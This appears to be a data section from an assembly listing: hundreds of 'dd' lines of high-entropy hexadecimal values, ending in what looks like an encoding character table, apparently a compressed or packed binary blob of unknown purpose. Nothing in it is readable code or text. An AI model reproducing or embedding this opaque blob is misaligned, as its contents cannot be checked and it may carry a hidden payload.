		dd 64EBDFDBh, 1012000Bh, 6233DAB0h, 6B00A7C9h, 94C65565h
		dd 1A40D5Ah, 0B87604D2h, 0DC8DD34Ch, 48000AE2h,	0CC264A01h
		dd 0EE51554Eh, 877EA6h,	5277E84Fh, 0DB4D3FE3h, 0C8004AECh
		dd 142FBECBh, 58C64175h, 551C1E44h, 0B7D0C06Ah,	7C4CB950h
		dd 94613Dh, 444303BEh, 2CDFE848h, 0F2CD24h, 0C4C6A9B9h
		dd 400923AAh, 80857CF0h, 0A00AB5B2h, 197F6C7h, 5F0EFC43h
		dd 0C8FB14F4h, 0AE02750Dh, 44748861h, 5064090h,	9B7BB9h
		dd 0F859F913h, 0EC020698h, 64AC0405h, 1DEEE4D0h, 574ECF28h
		dd 4B6F7181h, 0C9606042h, 2A001E75h, 2E8F039Eh,	0FC1CE9h
		dd 73706C85h, 0B19C7508h, 3A62860Bh, 0E1550077h, 0EE36B6Eh
		dd 8B1CF3CBh, 1D8866A5h, 0F633C7A8h, 6CC60B8h, 3000077Eh
		dd 3C961F74h, 0E2ABB49Dh, 0F0440187h, 0A59B3C5h, 0F6823FCEh
		dd 2E10C08Bh, 2AE200B5h, 0B297C44Ch, 590F44CCh,	40D4E542h
		dd 0D0112CF2h, 29FF0012h, 0C948A40Ah, 3300AF22h, 581CE1D2h
		dd 48901h, 0B9B31F56h, 77ECE23Dh, 0DF5E3Dh, 0ADE676A2h
		dd 7CD5B4ACh, 8F170FF0h, 0FCA53878h, 0C6CDC048h, 2900A4B9h
		dd 90BBA27h, 0E1F9BAFh,	5DA2D77Dh, 8F806EEFh, 0CEFD3C41h
		dd 0C80720E9h, 54046A00h, 37503056h, 0DF442568h, 16245500h
		dd 420099BAh, 90A4D4B8h, 7F4ACC7h, 4A045698h, 0FB8069FAh
		dd 80102903h, 0AA2CA500h, 0E5784296h, 0BC7E0094h, 28DC4E54h
		dd 98008C31h, 0A6869B88h, 13BA4AC6h, 7A6A42h, 5EA52FF7h
		dd 70FACACBh, 8902807Bh, 0C2D40E09h, 825AC0C1h,	25E43Dh
		dd 75B0A166h, 0E80C5E5Ah, 0DDD0F00h, 13C4F330h,	0FEDB0016h
		dd 0C32FC2D9h, 0C0003506h, 0F448A23h, 2CFF1Eh, 8F1A4E47h
		dd 0BC16CC20h, 54FEF80Fh, 9300F2C4h, 0F9558388h, 0FAE900AFh
		dd 0D8434B5Fh, 2743B53h, 0D27E3Eh, 0C7256A4Ah, 55AE9Dh
		dd 0EB41120Eh, 0A30FE620h, 144D0500h, 24731682h, 2210032h
		dd 774CCE54h, 2B005033h, 0B78EF44Dh, 7E9FBE0h, 0BA6DC53Bh
		dd 8DC0C084h, 29005077h, 0B75AF7E8h, 5C63B9C4h,	9000940Fh
		dd 1F783352h, 55007EEBh, 4882694h, 7121179h, 0A2C314A4h
		dd 0FA56F003h, 4E039FACh, 30E2B810h, 7459D898h,	736B040h
		dd 0C4370E64h, 0F9A9B028h, 0DF900FF0h, 8E006174h, 22AF2516h
		dd 471C4D6h, 0BAF0207Ah, 0A8FC04h, 671CDC4Dh, 2C5EC64h
		dd 1A0C5903h, 1EE0B879h, 373E14CEh, 0B4080065h,	0B648E82Ch
		dd 20990024h, 522D1DCAh, 4BE870A9h, 80E71000h, 0A8C48106h
		dd 0BB3A00FBh, 5EDA90F5h, 850054E0h, 24D6D07Ah,	710BCF8h
		dd 810D48D7h, 411BF0BDh, 1C00752Fh, 0EE5C987Ah,	0E88BFD44h
		dd 25A000D4h, 469437E8h, 23017542h, 0EC971C9Ch,	48F02259h
		dd 4F6100B5h, 95A0056Ah, 90014EBh, 4A339D2Bh, 20CCC5h
		dd 0E85CB227h, 45759331h, 8842D01Fh, 24FEF300h,	11196h
		dd 0BB125F22h, 130A7C54h, 2D05BF00h, 0A915A685h, 0E809003Ch
		dd 69D61C4Fh, 0BB002145h, 0E0F31E12h, 0B5D831h,	0CE4D59E3h
		dd 36D022Bh, 832EFF00h,	4B58BFD5h, 26360065h, 3F9DA4C2h
		dd 5D0038A1h, 0FB40254Eh, 0ECF32DEAh, 4947000Ch, 0F4A49541h
		dd 0A1FE3B6h, 28C01B6Bh, 0C896C0Dh, 0F8C60F67h,	420CAACh
		dd 0B026CC91h, 0B4448600h, 9F6BBF06h, 0A4B800D2h, 54FBC10h
		dd 0C0509DA5h, 6FCC4B6h, 0C800BDEAh, 8D22CC64h,	90504AA3h
		dd 0A48C0EDCh, 0BC40BA86h, 60078B63h, 806BC63Dh, 520FB6B4h
		dd 2E01A6h, 45859009h, 0D98C6FC0h, 242C4C00h, 6A107944h
		dd 0D0A10013h, 7F80F0C2h, 1A012A61h, 409F0F2Fh,	9A70C8C4h
		dd 7A9700CFh, 0E6B4035Ah, 6A7F2736h, 8ACA5100h,	7CE966A8h
		dd 10680013h, 99EDA920h, 7B00480Bh, 494F1191h, 0EA406E43h
		dd 98FAD3h, 0D217A33Bh,	8D7D30ABh, 0B3044700h, 9BBA693h
		dd 0DDDB0184h, 742D2915h, 90DE4302h, 0E65A41B8h, 7D4A7200h
		dd 5212C3Dh, 4D6E008Bh,	3B022408h, 0F5000789h, 0C3C7B5FCh
		dd 5810DBCFh, 5A009471h, 0EC598B7Eh, 8003A234h,	0FC9182B7h
		dd 0F3C095B4h, 3E6CFEh,	5A8F59F5h, 7E03C48Dh, 0BAF82000h
		dd 5292B102h, 9A7E6B7h,	78800498h, 0BE00AA74h, 691B6693h
		dd 168D0034h, 0F254090Eh, 52000429h, 0BA086365h, 36A1D79h
		dd 331720F3h, 16C309DBh, 0E0D62BC8h, 0FB803F07h, 3BC07F06h
		dd 2E5DDD34h, 0DF8E4h, 150F0EF1h, 0C3010C8Bh, 85B0D8E8h
		dd 0FB709CB8h, 0DAE63A5Dh, 0EF1DEB8Ah, 2EC6059Dh, 0FDDBC0D3h
		dd 55B88B04h, 77FA8503h, 806DE41Fh, 0C7089h, 0A0915A59h
		dd 8880B494h, 0E42D0A03h, 0A281A54Dh, 0D0B88053h, 67744Ah
		dd 600F060Bh, 7216EA83h, 0EB100403h, 90F8A123h,	0E421DDDFh
		dd 74400FCh, 0C50477C1h, 340062C9h, 0CFF14858h,	247DC752h
		dd 0ABDC50h, 0BCE9776Eh, 0BF01D35Fh, 0F3E07432h, 6F83CCCh
		dd 0CFE200FCh, 297FB0C4h, 0BD00C27Ah, 168F720Ch, 67E8D3h
		dd 0D40DA092h, 0C0A10BB9h, 0AF001898h, 0E43B57F0h, 7667DC6h
		dd 0EECF869h, 100BC33Fh, 927CF4D0h, 50E88060h, 555AC01h
		dd 68C1A1E0h, 0FB0A8058h
		dd 0FC00EA51h, 0A5666F64h, 0B191CEh, 117FB762h,	0D3D52DE0h
		dd 0F0466909h, 60558041h, 894831h, 5BB56FCCh, 0B9BC72AAh
		dd 8C41FC2Ch, 63A6813Dh, 0C183040Ah, 1F2DF4CCh,	3AFDBBh
		dd 9AC02456h, 8900AF4Eh, 0B683252h, 0F61F41Bh, 0D61D655Ch
		dd 6A0D4680h, 8403FB91h, 0FE1EDDEAh, 2353D814h,	3C100055h
		dd 8EEB7C72h, 0E204471Fh, 0BB379F33h, 0C13596C2h, 10203030h
		dd 408C012Fh, 0E424AA25h, 0B095201Dh, 36C30307h, 5E50604h
		dd 2B30487h, 9D09CB08h,	200C9C03h, 160EF80Dh, 1A840090h
		dd 687013E8h, 93EE6675h, 3825B10Fh, 84FEE0D8h, 985C8A9h
		dd 54CEE6EAh, 86AC7080h, 4839B042h, 84A9032Ah, 0BB298267h
		dd 2EAD812h, 7B8300A8h,	0F7F6114h, 7C00A522h, 0B4496847h
		dd 589C88h, 26961873h, 782F7024h, 0C748018h, 7D6212h, 15235AF0h
		dd 87B3850Fh, 0B614B17h, 0A6164307h, 2470E471h,	719684FCh
		dd 66D900A4h, 0A114B8FCh, 2500DA48h, 658B378Dh,	32E0A95h
		dd 0E81F39B9h, 16E02AA7h, 2098B464h, 57335007h,	0C0C0BE8Bh
		dd 3AC4443Ah, 3DBC990Bh, 4210C883h, 0B5F87DCCh,	522D0DD0h
		dd 7F5500D4h, 1F883386h, 0A1AC44h, 8DCABCE4h, 89E82410h
		dd 96633401h, 5AEB2948h, 0E9490D4h, 5C4A98C8h, 0A0C09CCEh
		dd 0A832A4C4h, 0C1F317Eh, 95D8102h, 265C80CCh, 0E0696285h
		dd 6E606E22h, 0A702A68Ah, 0BA8918C9h, 4963E003h, 3CB700BEh
		dd 0E9CA8BD5h, 65FCD28Ch, 0DDBC7400h, 0B327ED7Ah, 8343077Ch
		dd 39EFC89h, 0C2B8D00Bh, 0CB0103FDh, 74917208h,	3430641Dh
		dd 2273002Ch, 0EFA85EC3h, 0F400553Bh, 5969CCA7h, 17D73017h
		dd 0FDED83h, 0E1E0DD7Dh, 0A176F001h, 7D0B6600h,	855EA488h
		dd 5D4000A5h, 38FF4C15h, 61DB292h, 0BE004657h, 8835905h
		dd 0C99407F0h, 0F7CDDBh, 8257E815h, 0F6B82503h,	0B0216ACAh
		dd 7F90C432h, 858400D4h, 0AC456C26h, 0F67F8139h, 0FECA9800h
		dd 4DA2A32Eh, 0A1D81D42h, 0DF670180h, 0CC202162h, 5600FC44h
		dd 0C77FA719h, 728D0C1h, 54FA4802h, 8320FE0Bh, 50798A98h
		dd 3AA9A83Eh, 183DD8h, 0D1E88980h, 1788B6h, 948A8278h
		dd 7F913967h, 9E4C2100h, 0DDA5E0ECh, 851C4889h,	0FECB1907h
		dd 3D10A032h, 2A0040C6h, 9F09010Ch, 72350671h, 0C5B00372h
		dd 131A65B4h, 9226BBE8h, 0A9A73400h, 8FA8DA24h,	0E47D56h
		dd 0D8449821h, 0DF23E828h, 9D2AB60Fh, 0F4C2A0AAh, 96CDDC0h
		dd 415782FFh, 8A503201h, 0B1AA3054h, 58AE6100h,	0EE6DA2Dh
		dd 60D000A3h, 549E1042h, 8F0009D4h, 0C7D82808h,	0DC940Ch
		dd 0BE0B846h, 1407529Eh, 8080B93Bh, 9C696E3Bh, 10E68Eh
		dd 0C4B632BEh, 80661397h, 7AC23C02h, 60E07760h,	0E18A64h
		dd 4CA29179h, 40F56E42h, 4EF73900h, 8598DFEBh, 27C00F6h
		dd 300C8A12h, 914CE181h, 444849h, 44B2E906h, 1C26CE2Ch
		dd 80800140h, 83490579h, 4100FEC9h, 4FBB07Bh, 102B207h
		dd 658A13EBh, 7A4A3C38h, 2FC224C0h, 6C5E035Fh, 423796C4h
		dd 0B563DD8h, 0F0074EAh, 0D6E2C7F6h, 0FE8F4Ah, 0A79A2D7h
		dd 1EC93390h, 5607C500h, 2FCCF814h, 5C1F1C1h, 0BB5460h
		dd 9CF04CB4h, 0F21217A0h, 537A8E00h, 0BC4E1440h, 568B5884h
		dd 0DA1C3100h, 479130AFh, 25FE3F00h, 0ABDE13F8h, 0BBAA0716h
		dd 0B0B6F117h, 72012C02h, 8E741500h, 3947CEA8h,	0BC70049h
		dd 0FADC7516h, 0E800F43Ch, 0BC8AC52Ah, 6C8D24h,	0ACBE0460h
		dd 6C70375h, 0EDCC0900h, 0F8463F1Eh, 0F5F2A3h, 0E312F713h
		dd 89028D61h, 965C66F2h, 951D003Dh, 0FFE281C3h,	0EFE50203h
		dd 0BFFC6284h, 60E8F7C1h, 4E00ACEBh, 37D7A06Ah,	3B159449h
		dd 88009547h, 2AF509F7h, 0C3000F73h, 50085EF9h,	1D5540C5h
		dd 409C926Ah, 0F6013347h, 8A0025EBh, 0D1063544h, 7D05Ch
		dd 72D8042Ah, 87884316h, 82CDF53Fh, 0AB0D4926h,	0CCF26007h
		dd 0B7500CBh, 2C683EEh,	0E003255Fh, 7A2A1D0Ah, 0CC50F040h
		dd 5A1800AAh, 0B9A8285Dh, 10EC086Bh, 75496900h,	6D53F92Ch
		dd 7C9842h, 0FBE82A14h,	0BF1BEAFAh, 4500B1F6h, 0E05135Eh
		dd 1567DAh, 22EB92C7h, 7940505Ah, 0DF14BA00h, 0B3C35281h
		dd 1F5C001Dh, 74ECB808h, 331329ADh, 13004F79h, 0A51BBA9Bh
		dd 2AB40022h, 0A28670B9h, 0DF0353F0h, 308A0448h, 341CF899h
		dd 138207EEh, 807DE949h, 0F1A24C3Ah, 1400B1F0h,	1D0FBA2Ch
		dd 0F88AB788h, 4131EF2h, 3C0EC02Eh, 0E44AA9F3h,	196E4C16h
		dd 0A280351Dh, 2FB120F4h, 0A51D01BAh, 0C8F59037h, 88A4FCDCh
		dd 0D11F3Bh, 2D7B5D3Ch,	0E468A3h, 0F8B8292Ah, 8D4C4D2h
		dd 2044B41Fh, 5AC8007Bh, 0B804EFD8h, 942860FCh,	6D1EBA3Ah
		dd 751FB77Bh, 0CCDDD022h, 53CFB3Fh, 1AB83155h, 8FF26272h
		dd 0CF29CFEDh, 3C3FDE0Ah, 0F8510108h, 0F48ACB3Dh, 79C865E0h
		dd 34251D72h, 0D64A8047h, 0FC1A469Dh, 45E4BA00h, 1FB263D3h
		dd 0CA143EF0h, 643FC403h, 87A96823h, 0A675DC10h, 57721F0h
		dd 3CC0E507h, 0BA90F462h, 0F847FCh, 3A8A0CF2h, 6EE24C3h
		dd 68001B7Ch, 100A211Ch, 0CB8F4h, 0CF66A5C9h, 1D29EB2Bh
		dd 0F928912Ch, 0F949DA00h, 4160F0Ch, 7DB875F0h,	0DDABC0E3h
		dd 0F500BA99h, 0B2F46E29h, 0ECA4A4Eh, 0CC3025D4h, 6D064400h
		dd 647D2F39h, 43FCDD0Fh, 30E2358h, 722CD020h, 266C3E3h
		dd 0CE8618Ah, 1D007051h, 96684C42h, 60F6F924h, 4120D831h
		dd 501E724Dh, 51004AE1h, 0B88B440Fh, 3AB3008Ch,	0DB84CE52h
		dd 7300FB19h, 530B108Eh, 262CCBBh, 37811D7h, 65404B7Fh
		dd 77008312h, 859F2AC6h, 0E2D0EB43h, 88680053h,	3F094091h
		dd 0B2007548h, 98F1864Ch, 1531821h, 0A32347E8h,	0D925BD38h
		dd 5A06EC3Dh, 0B60A5Ch,	13406974h, 3D21E992h, 3E7CA84Bh
		dd 73030744h, 8F72466Bh, 617053E8h, 45F86300h, 0A2416478h
		dd 97AB1D10h, 0B2C2C0BBh, 58045D6Ch, 0C800E698h, 0C798928Eh
		dd 3011DC42h, 0E46E8924h, 0DAC1B0E8h, 22A88F93h, 4844E0F8h
		dd 31075DA0h, 0B0189198h, 21286490h, 4048881Eh,	5C328085h
		dd 0F4268800h, 3C704431h, 6887C8FCh, 9E601C9Dh,	58891040h
		dd 24033C12h, 61884C50h, 9178D048h, 7C403011h, 2C993864h
		dd 131E30F0h, 2841220Ch, 24D22045h, 31848C4h, 10B1B899h
		dd 0A2077813h, 51706E08h, 0C0BC3153h, 77B361F8h, 30F03D81h
		dd 0E80318BCh, 48D4BE01h, 28E0548Ah, 223E29DFh,	88DC0FA1h
		dd 0C4666019h, 24B044D8h, 33A6267h, 0D0183238h,	0CA88CABh
		dd 801D24CCh, 601DC872h, 45FC41Fh, 0ACC03C4Eh, 0EBC2484h
		dd 0B8249912h, 0B4396883h, 0B0A3D4C3h, 0CE9CCE3h, 0F58CF5ACh
		dd 0E4F0F5A8h, 0D0FCA43Ch, 0CFA01CCFh, 0CF9CCF34h, 9830C7C8h
		dd 940F4CE4h, 905CC4CCh, 8C39A3A0h, 88E87CFCh, 24CF48FAh
		dd 38E0AC84h, 7CEFD80h,	1CF47Ch, 68281178h, 89740F18h
		dd 70EE4C04h, 0DEBF64AEh, 0FBFAC6Ch, 44ED683Ch,	0F8FAF71Eh
		dd 5CF36007h, 2FE2F84Dh, 3EC8F274h, 0CBA9458h, 0CFF454BAh
		dd 60475014h, 914CF13Ch, 0F840F930h, 0EFFD1814h, 0CAF0BCF3h
		dd 9FC700Ah, 7D97E800h,	81BA2098h, 80510995h, 0E0803F60h
		dd 7446724Eh, 36BC4105h, 0FA8025B9h, 74450AB8h,	0F3133AFCh
		dd 4A82F980h, 0A4095517h, 10015F01h, 0D2B8057Dh, 7EC099E9h
		dd 0B1483907h, 0E5500C02h, 5A40800Fh, 202107Dh,	18BF0372h
		dd 2C7F40FBh
		dd 9B831F4Ch, 0D0FCC08Bh, 282DF876h, 317FFF00h,	86730232h
		dd 0F3E11CC8h, 0B48D007Eh, 4AA87449h, 66FC400Fh, 0EBA4A2C1h
		dd 0E76D6123h, 0B0B60FC0h, 0FB80009Bh, 0BC37401h, 9007704h
		dd 6C30BFF3h, 7EB03Bh, 1AB8B302h, 4F9D140Dh, 2F588E0Fh
		dd 8C44A0A1h, 10917BEh,	763352A3h, 0E011D825h, 88028F4Bh
		dd 0AAC81B1h, 2B57E0C0h, 0C3B01F82h, 86E64084h,	2D3D1480h
		dd 6D55AA12h, 0E04DFC0Fh, 0CA83BE5h, 11F007Fh, 7CFDF983h
		dd 0C97E0B1Ah, 4E861C00h, 4A3E80AAh, 0A0401F27h, 0F766C02Fh
		dd 0D8F320D9h, 0BF1CEB00h, 8F42C311h, 19740091h, 2F8E2C5h
		dd 8A001508h, 6623A2E0h, 0A20E86ABh, 2A54C0C3h,	4081007Fh
		dd 0E3FE3306h, 2B00F225h, 5EAB6293h, 0F48A0B14h, 8B8C0F29h
		dd 116049D2h, 2BB48719h, 86081C01h, 27204EAh, 0EB09330h
		dd 0E65D8A45h, 0E455BF00h, 0BDF8AA4Ah, 3B6DD21Ch, 90E2EBC0h
		dd 83067Dh, 0D7DAF7A7h,	0B1E46A6Fh, 0C4008AE0h,	8B5092AAh
		dd 32DC61h, 258C35F7h, 5B23F1Dh, 49430A01h, 0ED15D50Bh
		dd 8BE980E7h, 0AA040709h, 10F8DC3Bh, 4B735852h,	830E0F98h
		dd 0A01D12FAh, 5638BA05h, 496F00E2h, 0EB04D6B5h, 0DB013328h
		dd 0E03A8889h, 48C0C11Dh, 0F60300B3h, 43DC8AF3h, 1488EACh
		dd 4B0D002Dh, 3DA0F475h, 0C57C031Eh, 4AEAEB32h,	0C3FF1AA8h
		dd 3C2EE358h, 0C058073h, 27F97541h, 26CF072Bh, 708EC3F7h
		dd 81891D8Ah, 46A43200h, 220B6452h, 0F211CF1h, 0D93A0004h
		dd 0E9027F76h, 8DDDCC00h, 1A9B9C09h, 0C9241790h, 48F805h
		dd 1E74D03Ch, 7E537651h, 7A293B48h, 0AE92AA8h, 3E80C8Ch
		dd 0F7CC0784h, 595B407Fh, 0E2014312h, 0AC0BEBDCh, 7DC04A35h
		dd 5C00041h, 0EADFC42Bh, 26B8B701h, 0BA402A00h,	0BDE7602h
		dd 1720029Bh, 289958F7h, 2DFDACE0h, 831A473Fh, 0F97E05D4h
		dd 0EB48DBB6h, 1C51F9A3h, 0C07FFBECh, 1BF52E10h, 6A391338h
		dd 3600FD20h, 33C81067h, 299D28h, 99593577h, 6E1940D0h
		dd 0D9D60B1Eh, 69269C40h, 7B2B202Fh, 4470007h, 4FEE0990h
		dd 0E9EAC1EAh, 136BC200h, 8C5AE8Fh, 5D770Bh, 0DE4F1673h
		dd 68C61B28h, 0F0578D00h, 5A80E84Ch, 9C220081h,	4BE96CBAh
		dd 591F13F4h, 60C79001h, 80F7B951h, 0C0A0A4C7h,	0FE6F2B7h
		dd 0E3AFF599h, 3D46EF20h, 7400344Ah, 0F9C70C17h, 0D11166h
		dd 16207536h, 1A7E2A52h, 145B3900h, 990F4C0Eh, 54FC079Bh
		dd 3046BA33h, 403421EBh, 0B716C30Eh, 8745C019h,	0DA74D7h
		dd 55F0F73Bh, 4E775D05h, 1C042498h, 0D0E9FB26h,	8BF00BBh
		dd 3CAC1DE3h, 374272Ch,	4D228039h, 103E9620h, 0EF560060h
		dd 648AEDE2h, 47F1906h,	52450B07h, 0C373020Dh, 3AAC88C0h
		dd 0D0F400C4h, 0F7141BB2h, 0FF00E7EBh, 89BBA865h, 18E318Ch
		dd 0A1C76630h, 0F08693BFh, 0F8125588h, 88006106h, 0D1267423h
		dd 3925E430h, 2C002EE1h, 33C697F3h, 352E44C1h, 3A398931h
		dd 653B3Ah, 1896DF36h, 0D78B46h, 424039EBh, 0D32D4CD8h
		dd 1EDBFE01h, 0CABF79DAh, 83C7D4h, 0F7D9E880h, 0EC5589C1h
		dd 3E60CB00h, 0EB01F8A2h, 71A400B6h, 1432AF43h,	0A7002DAEh
		dd 0A1B42B93h, 9C0FFAh,	0FBC1B801h, 589666EBh, 116BEC00h
		dd 2703F80Eh, 0A6D83DA0h, 4EE5C180h, 0E02D6EBDh, 4FD58709h
		dd 0E4E7006Ah, 222C35Bh, 6084482Ah, 61E06B29h, 0E48BA13h
		dd 0C20776A2h, 5721C385h, 2BE35680h, 0D874030Dh, 0D680DCC7h
		dd 0D1F0EAF8h, 5D8D6300h, 28C25F90h, 0E7FC0008h, 0A4F8C4CAh
		dd 270045CEh, 48F324DAh, 1E1E91EFh, 40441A22h, 7538920h
		dd 0C0074FC4h, 0E6E8D4A3h, 0ACCD82D0h, 0C66E00B7h, 0F43FF02Bh
		dd 803C2606h, 0C0FE02FCh, 60752D0Ah, 59DE4ABh, 412E74C4h
		dd 0A4A68146h, 5ECDE4F9h, 3880500h, 0EE8A6B53h,	8DCF1F2Ah
		dd 0D6AD8742h, 0EB5BF0ABh, 0A400CC88h, 0D8DEA1C3h, 1B8C41h
		dd 7FD307Ch, 4DFF01F5h,	7475F425h, 0BB0D00C4h, 3414DE45h
		dd 0E40FC400h, 41AB127Eh, 43290104h, 4B0B1F91h,	0F9987150h
		dd 0DEC16031h, 6BB86600h, 2E6C9622h, 9E1E00EBh,	9A88FC25h
		dd 0DD004517h, 0F7EE7E0h, 1CC9B258h, 808DF228h,	0BF065975h
		dd 0C200AA9Ah, 45D36649h, 64E31Ah, 0A9F938B4h, 847A16D8h
		dd 736D3100h, 0C92E3283h, 8DA70008h, 0D0445F46h, 0F5008925h
		dd 0A03D0320h, 58227507h, 4600BB09h, 119FA506h,	737B90AAh
		dd 9D7E811Fh, 326B800h,	0E1340h, 0CDC43C6h, 0DB8D6BE9h
		dd 2D2E0801h, 69053FFFh, 2104E12Fh, 5B6C7048h, 83C44000h
		dd 0E051ECA2h, 0E1D901F4h, 72BFE837h, 0DBFCD80Eh, 749C2D00h
		dd 9BF2D8A7h, 83DD3C48h, 0FAA8D401h, 0FC410B70h, 9A00DA09h
		dd 0F8EF80BCh, 7E675DFh, 3187BF2h, 9B6BF0BAh, 4400148Ah
		dd 7DDE515h, 8E8C0h, 660F7004h,	45E33005h, 621DE27Ch, 480032EBh
		dd 64CBCAAh, 82F0073h, 8205C879h, 0C00F83Bh, 0A303C96h
		dd 712FF83h, 8027730Fh,	351F707Ch, 44E425C6h, 4FE00E00h
		dd 0FE0D781Ah, 13800011h, 0EBED7739h, 2F981F14h, 3128A601h
		dd 525F9862h, 7A533530h, 21190325h, 0F150A190h,	77835688h
		dd 0C1303A00h, 389D6EAh, 53120088h, 6A80C302h, 6008BEEh
		dd 0A0042ECEh, 7CA0BC8h, 0B46B840Fh, 79FC4069h,	5C2C9DAEh
		dd 0EA008361h, 1EFF13F3h, 607A00D1h, 1F7C04F6h,	0F4891BFh
		dd 82D0EFDh, 81A70064h,	0B6B3DAh, 15730DE0h, 0E0549F2h
		dd 27D22103h, 98989378h, 0DFF410h, 0B8D7146Dh, 0C22B122Ah
		dd 0DA790104h, 9FC18534h, 0E44062F5h, 614057h, 0F7A4B91Bh
		dd 0C0DF6A1h, 0F93DFE00h, 24C4811Eh, 1F75000Fh,	0EBECCC49h
		dd 0A00397Bh, 0AA3004C1h, 1E7820h, 2122D489h, 0EA44316Ch
		dd 0B009873h, 3134C8Dh,	0C61602h, 80D58207h, 0F7D1853Fh
		dd 0CCB9540Eh, 0E5EB271Fh, 88D271E0h, 0D5FB008Ah, 6FF19E9h
		dd 0B900F008h, 9D9B1CD1h, 261EBA7Dh, 27E2DBh, 6BF89A6h
		dd 0F600E8EEh, 3E13C185h, 5C0DFF80h, 303AD7C5h,	464E0107h
		dd 7075F0FCh, 7D008286h, 53A0CE0h, 2C6699h, 1246152Bh
		dd 3B1F0748h, 4AD8CE1Fh, 0B0DF2400h, 5CD4B81Dh,	0E83B960Ch
		dd 2A582B80h, 9C43D003h, 0DE252404h, 0BDC11362h, 0AAFC8498h
		dd 1C35F212h, 825002F9h, 3E52E0D9h, 3FDFB0E0h, 0DB6EEB00h
		dd 8AFF9B8Eh, 0D2A90266h, 0B0179E26h, 0DD90C1E3h, 527F89BCh
		dd 906D2800h, 0C30B859Bh, 989900ACh, 4ECA4320h,	0C40027DDh
		dd 0F03A2CF3h, 0F730Ah,	290DDA26h, 0CE904349h, 53B80600h
		dd 131CEA52h, 140E008Ah, 619DB3CAh, 0A93D9428h,	6BE4002Ah
		dd 9040EDD2h, 0F4FA0381h, 720A9E9Ch, 2143801h, 0BCC54BB5h
		dd 0B871F8h, 250E978Ah,	0F0340F4h, 0B67850Fh, 7606A055h
		dd 0FE81216h, 3F957AA7h, 741B0520h, 1C002029h, 16B93862h
		dd 3C278B40h, 0DF8FB015h, 5B40C477h, 0B932D1B8h, 3D52073Fh
		dd 34450030h, 0AF3F272Bh, 43906Ah, 511008EEh, 88154B90h
		dd 42003EB8h, 0E40C2344h, 1E793A14h, 73918Ah, 85080A5Ch
		dd 0B11E0490h, 210074FCh, 2CEC64F8h, 60422CE0h,	56520027h
		dd 97915014h, 0CF19507h, 8762FC78h, 8225C008h, 0B8400073h
		dd 8C5D54BCh, 8D0024D7h, 158B64A8h, 8043F3h, 0CB4EC93Dh
		dd 1C303312h, 9810BA00h, 708D404Bh, 734F00D4h, 76B30BC4h
		dd 743F8744h, 0EC7A8045h, 5798F20Dh, 258C006Fh,	302F206Eh
		dd 42E4F178h
		dd 1C0E397Eh, 0E7760410h, 0A8340E1h, 2B110082h,	5025D453h
		dd 8B0BB273h, 33E9ABAh,	0F860A7EEh, 0E1A5D84Eh,	1318960h
		dd 0F71EE3DBh, 408A07D0h, 97C1FF8Fh, 0D80E1879h, 0D108B3h
		dd 350573E0h, 71060B41h, 70809DDBh, 0ACE6E2F3h,	85C33803h
		dd 0B9038B61h, 53F8F420h, 1F30E618h, 3085DF2h, 98DB0CE6h
		dd 0F410E099h, 8D122E7Ch, 0E0E3353h, 0E7D140B0h, 0D74DFDh
		dd 0AEF8DC3Dh, 0F2015AC3h, 76F68500h, 3C647163h, 0CAE029h
		dd 0EEE0E9C1h, 35FF983h, 1F7E800h, 0E78166FAh, 0BA0F00FFh
		dd 2CE5C26h, 0C7003BF8h, 9DD02177h, 10CDF5h, 4E14069Fh
		dd 0E09373FAh, 0B507247Eh, 47E88801h, 0C5BF023Bh, 0EB3FC07Eh
		dd 212C011Ch, 1F0F5372h, 0CC10E4C6h, 4E0002E0h,	0B8B9D75h
		dd 0E498C985h, 0FF7A3E35h, 3BCAFB80h, 4F5FE15Ah, 0E54EB014h
		dd 2BA9008Ch, 4C770CBAh, 0DAB8177Dh, 0C2690145h, 30080110h
		dd 0CE1F71A7h, 3ABE5920h, 16378099h, 0B1438D27h, 0E06E00C3h
		dd 0E9775A35h, 0CC03CA55h, 0C085C950h, 0C73CA876h, 0D6810033h
		dd 0F30C5D70h, 100E540h, 0DC92772h, 71C2F002h, 0D68B3E13h
		dd 0CF507480h, 0F8D103D2h, 87057539h, 0CEB3201h, 0B4A6B080h
		dd 0A02F0054h, 91757948h, 11FE42A5h, 0B657700h,	75676B5h
		dd 5478ABh, 9D7B22BBh, 0BFAE3CECh, 0B10C7000h, 9A2DC2B4h
		dd 0A049481Ch, 0CE34A11Dh, 52E0880Ah, 0FED0845Fh, 77F23200h
		dd 0C8F94CAh, 0FAD1004Bh, 8A7F2089h, 11005653h,	0B8E1CB27h
		dd 0ADA17h, 76F4F0Fh, 0E3C8FDF2h, 8A225500h, 0BDEAF8FCh
		dd 759F008Bh, 5334AA87h, 0C7027C8Dh, 0CA1E88A3h, 840740C3h
		dd 28A00D5h, 274307ECh,	0DE004647h, 7570B033h, 28E6E8h
		dd 2A09BC80h, 4B26048Bh, 16C78A00h, 0F13E0649h,	0F40000Dh
		dd 0C8E65B81h, 7D3B0C34h, 37311824h, 5711DCh, 40478014h
		dd 0D97B754Bh, 28EFF100h, 50390563h, 4E8E8B9h, 0CF498F20h
		dd 0F8E280ECh, 0B100B054h, 2E0BAFFh, 39735C8h, 496071A7h
		dd 0D9B013FCh, 2900ADC2h, 4B89A09Dh, 7CDB85h, 5843762Dh
		dd 0A5799FD7h, 41023000h, 0FF5EE180h, 0D9953C01h, 0E9181480h
		dd 0C70A57E2h, 88A11C00h, 0F21F75Dh, 408C0059h,	183C8D12h
		dd 307F2AC3h, 2ED61F00h, 2410A9EBh, 75217EABh, 0E3800002h
		dd 0FC3245F3h, 75011A6Ah, 0FE4134F0h, 0D670DFB6h, 0E52C0749h
		dd 0E07D3173h, 0B9FF3E62h, 4D9FD400h, 5F9589ECh, 9334001Ch
		dd 9BDD88B0h, 1A1D0C71h, 0A89DE410h, 6EB78680h,	0C776B4h
		dd 0DE3D34Ah, 0D6E8FD4Fh, 7E400401h, 4730BE21h,	0E0446130h
		dd 13FF7D18h, 1A2CBFh, 0AF4ED6FAh, 0F2B89F23h, 59760E9h
		dd 5FE4FE00h, 82783EBAh, 5816037Bh, 9297831Dh, 755BC998h
		dd 33ADFC00h, 8D487C06h, 89231FBBh, 0A7084157h,	61042035h
		dd 904EF815h, 54A2FE03h, 8041C59Ch, 7444342h, 48474645h
		dd 4B4A0049h, 4E004D4Ch, 0A51504Fh, 38545352h, 5801C655h
		dd 62615A59h, 6564C063h, 68676603h, 806B6A69h, 76E6D6Ch
		dd 7271706Fh, 75740073h, 780E7776h, 307A79h, 34333231h
		dd 37361C35h, 2B390038h, 24203D2Fh, 9D284Ch, 7D7B5D5Bh
